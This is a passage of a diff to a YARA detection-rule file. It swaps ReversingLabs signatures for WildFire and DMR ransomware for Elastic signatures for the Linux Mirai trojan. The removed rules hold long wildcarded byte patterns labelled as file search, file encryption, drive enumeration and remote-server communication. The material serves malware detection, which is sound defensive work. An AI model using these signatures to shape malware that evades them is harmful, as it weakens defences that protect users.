-            ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50
-            8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ??
-            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 53
-            FF D6 8B 3D ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ??
-            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 53
-            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5
-            5D C3
-        }
+		$a = { E7 C0 00 51 78 0F 1B FF 8A 7C 18 27 83 2F 85 2E CB 14 50 2E }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($remote_connection)
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Wildfire : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Ad337D2F : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects WildFire ransomware."
-		author = "ReversingLabs"
-		id = "0c44f017-703c-5db7-b777-62fcd181af9a"
-		date = "2021-08-12"
-		modified = "2021-08-12"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.WildFire.yara#L1-L77"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "d3be2eac7967853aae6e1317d9c22d95a3dc4b3e5bf8acbe97a7bbeabc9eab38"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "ad337d2f-d4ac-42a7-9d2e-576fe633fa16"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "012b717909a8b251ec1e0c284b3c795865a32a1f4b79706d2254a4eb289c30a7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1702-L1720"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "dba630c1deb00b0dbd9f895a9b93393bc634150c8f32527b02d8dd71dc806e7d"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "WildFire"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "67cbcb8288fe319c3b8f961210748f7cea49c2f64fc2f1f55614d7ed97a86238"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files = {
-            00 02 19 17 73 ?? ?? ?? ?? 0A 1B 8D ?? ?? ?? ?? 25 16 02 16 02 [5-10] 6F ?? ?? ?? ??
-            6F ?? ?? ?? ?? A2 25 17 [5-10] A2 25 18 7E ?? ?? ?? ?? A2 25 19 [5-10] A2 25 1A 02 02
-            [5-10] 6F ?? ?? ?? ?? 17 D6 6F ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 0B 07 [5-10] 28 ?? ?? ??
-            ?? 1A 18 73 ?? ?? ?? ?? 0C 08 21 00 00 00 00 00 00 00 00 6F ?? ?? ?? ?? 20 ?? ?? ?? ??
-            8D ?? ?? ?? ?? 0D 21 00 00 00 00 00 00 00 00 13 ?? 06 6F ?? ?? ?? ?? 13 ?? 73 ?? ?? ??
-            ?? 13 ?? 08 11 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ??
-            2B ?? 06 09 16 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 09 16 11 ?? 6F ?? ?? ?? ?? 11
-            ?? 11 ?? 6A D6 13 ?? 11 ?? 11 ?? FE ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 08
-            6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 D6 80 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? 28 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? DE ?? 2A
-        }
-		$enum_drives = {
-            00 00 28 ?? ?? ?? ?? 1F ?? 0A 18 0C 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 19 0C 28 ?? ?? ?? ?? 0D 1A
-            0C 09 13 ?? 16 13 ?? 11 ?? 11 ?? 8E 69 FE ?? 2C ?? 11 ?? 11 ?? 9A 13 ?? 1B 0C 11 ??
-            6F ?? ?? ?? ?? 2C ?? 1C 0C 11 ?? 6F ?? ?? ?? ?? 19 FE ?? 16 FE ?? 65 18 60 1A 60 11
-            ?? 6F ?? ?? ?? ?? 21 ?? ?? ?? ?? ?? ?? ?? ?? FE ?? 16 FE ?? 65 5F 16 FE ?? 2C ?? 1D
-            0C 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 1E 0C 11 ?? 6F ?? ?? ?? ??
-            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? 2B
-        }
-		$file_search = {
-            A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10]
-            A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] A2 0D 19 0C 19 8D ?? ?? ?? ??
-            25 16 [5-10] A2 25 17 [5-10] A2 25 18 [5-10] A2 13 04 1A 0C 02 28 ?? ?? ?? ?? 13 ?? 1B
-            0C 11 ?? 8E 69 17 DA 13 ?? 16 13 ?? 11 ?? 11 ?? (30 | 3D) [1-4] 1C 0C 11 ?? 11 ?? 9A 28
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 1D 0C 09 11 ?? 6F ?? ?? ?? ?? 11 ?? 11 ?? 9A [5-10] 6F
-            ?? ?? ?? ?? 16 FE ?? 5F 11 ?? 11 ?? 9A 1F ?? 28 ?? ?? ?? ?? [5-10] 28 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 16 FE ?? 5F 11 ?? [5-10] 16 28 ?? ?? ?? ?? 16 FE ?? 5F 2C ?? 1E 0C 11 ?? 11 ??
-            9A 28 ?? ?? ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? (38 | 2B) [1-4] 1F ?? 0C 02 28 ?? ?? ?? ??
-            13 ?? 1F ?? 0C 11 ?? 8E 69 17 DA 13 ?? 16 13 ?? 11 ?? 11 ?? 30 ?? 1F ?? 0C 11 ?? 11 ??
-            11 ?? 9A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE ?? 2C ?? 1F ?? 0C 11 ?? 11 ?? 9A 28 ?? ??
-            ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? 2B ?? 1F ?? 0C 02 17 8D ?? ?? ?? ?? 25 16 1F ?? 9D 6F
-            ?? ?? ?? ?? 8E 69 17 DA 18 FE ?? 16 FE ?? 2C ?? 1F ?? 0C 02 16 28 ?? ?? ?? ?? DD ?? ??
-            ?? ?? 07 17 58 16 0B 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-            ?? ?? ?? ?? ?? ?? ?? ?? ?? DE
-        }
-		$remote_server_communication_1 = {
-            00 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? 9A [5-10] 28 ??
-            ?? ?? ?? 0B 02 [5-10] 16 28 ?? ?? ?? ?? 16 FE ?? 3A ?? ?? ?? ?? 02 [5-10] 16 28 ?? ?? ??
-            ?? 16 FE ?? 39 ?? ?? ?? ?? 1D 8D ?? ?? ?? ?? 25 16 [5-10] A2 25 17 02 A2 25 18 [5-10] A2
-            25 19 7E ?? ?? ?? ?? A2 25 1A [5-10] A2 25 1B 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 1C [5-10]
-            A2 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ??
-            [5-10] 11 ?? 28 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 07
-            28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 11 ?? [5-10] 6F ?? ?? ?? ?? 11 ?? [5-10] 6F ?? ?? ?? ??
-            11 ?? 11 ?? 8E 69 6A 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ??
-            ?? 13 ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ??
-            74 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11
-        }
+		$a = { 01 75 14 80 78 FF 2F 48 8D 40 FF 0F 94 C2 48 39 D8 77 EB 84 D2 }
 
 	condition:
-		uint16(0)==0x5A4D and $enum_drives and $file_search and $encrypt_files and $remote_server_communication_1
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_DMR : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_88A1B067 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects DMR ransomware."
-		author = "ReversingLabs"
-		id = "45d8f91f-d2d0-5c6e-a29e-b8c9c29dc296"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.DMR.yara#L1-L214"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "55e19f3017c2cc8355c27f9a516e611b58b108f15bfed41b88d5662b55677a59"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "88a1b067-11d5-4128-b763-2d1747c95eef"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "1a62db02343edda916cbbf463d8e07ec2ad4509fd0f15a5f6946d0ec6c332dd9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1722-L1740"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "0755f1f974734ccd4ecc444217bf52ed306d1dc32c05841ba9ca6d259e1a147e"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "DMR"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "b32b42975297aed7cef72668ee272a5cfb753dce7813583f0c3ec91e52f8601f"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files_p1 = {
-            8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53
-            57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ??
-            51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ??
-            ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
-            ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B
-            CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ??
-            23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8
-            1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75
-            ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
-            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74
-        }
-		$find_files_p2 = {
-            80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ??
-            ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ??
-            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ??
-            ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ??
-            5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
-        }
-		$encrypt_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 8D 45 ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 55 ?? FF B5 ?? ?? ??
-            ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
-            8B 55 ?? 88 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA
-            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51
-            E8 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ??
-            ?? 8D 55 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 45 ??
-            83 7D ?? ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 E0 ?? 8D 4D ?? 83 7D ?? ?? 50 0F 43
-        }
-		$encrypt_files_p2 = {
-            4D ?? 51 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 8D
-            ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ??
-            ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D BE ??
-            ?? ?? ?? C6 45 ?? ?? 83 7F ?? ?? 8B C7 89 BD ?? ?? ?? ?? 72 ?? 8B 07 83 7F ?? ?? 75
-            ?? 0F B6 00 3C ?? 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? C7 86 ?? ?? ?? ?? ??
-            ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 8B 86 ?? ?? ?? ?? 6A ?? 50 8D 4D ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 8B 86 ?? ??
-            ?? ?? 83 7D ?? ?? 99 0F 43 4D ?? 52 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ??
-            ?? ?? ?? 8B 55 ?? 3B CA 77 ?? 83 7D ?? ?? 8D 45 ?? 89 4D ?? 0F 43 45 ?? C6 04 01 ??
-            EB ?? 8B 45 ?? 8B F9 2B FA 2B C2 3B F8 77 ?? 83 7D ?? ?? 8D 75 ?? 57 0F 43 75 ?? 03
-        }
-		$encrypt_files_p3 = {
-            F2 89 4D ?? 6A ?? 56 E8 ?? ?? ?? ?? C6 04 3E ?? 83 C4 ?? 8B B5 ?? ?? ?? ?? EB ?? 6A
-            ?? 57 C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B BD ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8
-            ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
-            6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 50 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 89 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8D
-            85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 8B 40 ?? FF D0 85 C0 74 ?? 8B
-            08 6A ?? 8B 11 8B C8 FF D2 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 D2 8B 40 ?? 03 C8
-            B8 ?? ?? ?? ?? 39 51 ?? 0F 45 C2 EB ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ??
-            03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 6A ?? 50 E8 ?? ?? ?? ??
-            81 C6 ?? ?? ?? ?? 8D 45 ?? 3B F0 74 ?? 83 7D ?? ?? 8B CE FF 75 ?? 0F 43 45 ?? 50 E8
-            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45
-        }
-		$encrypt_files_p4 = {
-            C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 7F ?? ?? 8B 47 ?? 72 ?? 8B 3F 83 F8 ?? 75
-            ?? 0F B6 07 3C ?? 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 8B BD ?? ?? ?? ?? 85 C0 75 ?? 8D
-            45 ?? 50 83 EC ?? 8D 87 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC
-            ?? C6 45 ?? ?? 8B CC 56 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? EB ?? 8B BD ?? ??
-            ?? ?? 8D 45 ?? 3B F0 74 ?? 83 7D ?? ?? 8B CE FF 75 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ??
-            8D 45 ?? 3B C6 74 ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 FF 76 ?? 8D 4D ?? 50 E8 ?? ?? ??
-            ?? 6A ?? 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 C7 46 ??
-            ?? ?? ?? ?? 8D 55 ?? C6 00 ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? FF 75 ?? 0F 43 55 ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ??
-            0B 41 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D
-            4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8B C8 C6
-            45 ?? ?? 8B 41 ?? 8B 51 ?? 2B C2 83 F8 ?? 72 ?? 83 79 ?? ?? 8D 42 ?? 89 41 ?? 8B C1
-            72 ?? 8B 01 66 C7 04 02 ?? ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? 0F 10 01 0F 11 85 ?? ?? ?? ?? F3 0F 7E 41 ?? 66 0F D6 85 ?? ?? ?? ??
-            C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 8B
-        }
-		$encrypt_files_p5 = {
-            C2 8B 8D ?? ?? ?? ?? 2B C1 83 F8 ?? 72 ?? 8D 41 ?? 83 FA ?? 89 85 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? C7 04 01 ?? ?? ?? ?? C6 44 01 ?? ?? 8D 85 ?? ?? ??
-            ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ??
-            ?? 6A ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ??
-            ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? 8D 47 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11
-            85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ??
-            ?? ?? ?? ?? C6 00 ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 83
-            F8 ?? 72 ?? 8D 41 ?? 83 FA ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ??
-            ?? 66 C7 04 08 ?? ?? 8D 85 ?? ?? ?? ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66
-            0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? C6 45
-        }
-		$encrypt_files_p6 = {
-            8B BD ?? ?? ?? ?? 8B C7 8B 8D ?? ?? ?? ?? 2B C1 8B 56 ?? 3B D0 76 ?? 8B 46 ?? 2B C2
-            3B C1 72 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 51 0F 43 85 ?? ?? ?? ?? 8B CE 50 6A ?? E8 ??
-            ?? ?? ?? EB ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85
-            ?? ?? ?? ?? C6 00 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ??
-            ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 6A ?? 68 ?? ?? ?? ?? 83 F8 ?? 72 ?? 83 FA ??
-            8D B5 ?? ?? ?? ?? 8D 41 ?? 0F 43 B5 ?? ?? ?? ?? 03 F1 89 85 ?? ?? ?? ?? 56 E8 ?? ??
-            ?? ?? 83 C4 ?? C6 46 ?? ?? 8D 85 ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 0F 10 00 0F 11 45 ?? F3 0F 7E 40 ?? 66
-            0F D6 45 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? C6 45 ?? ?? 8B 95 ??
-            ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ??
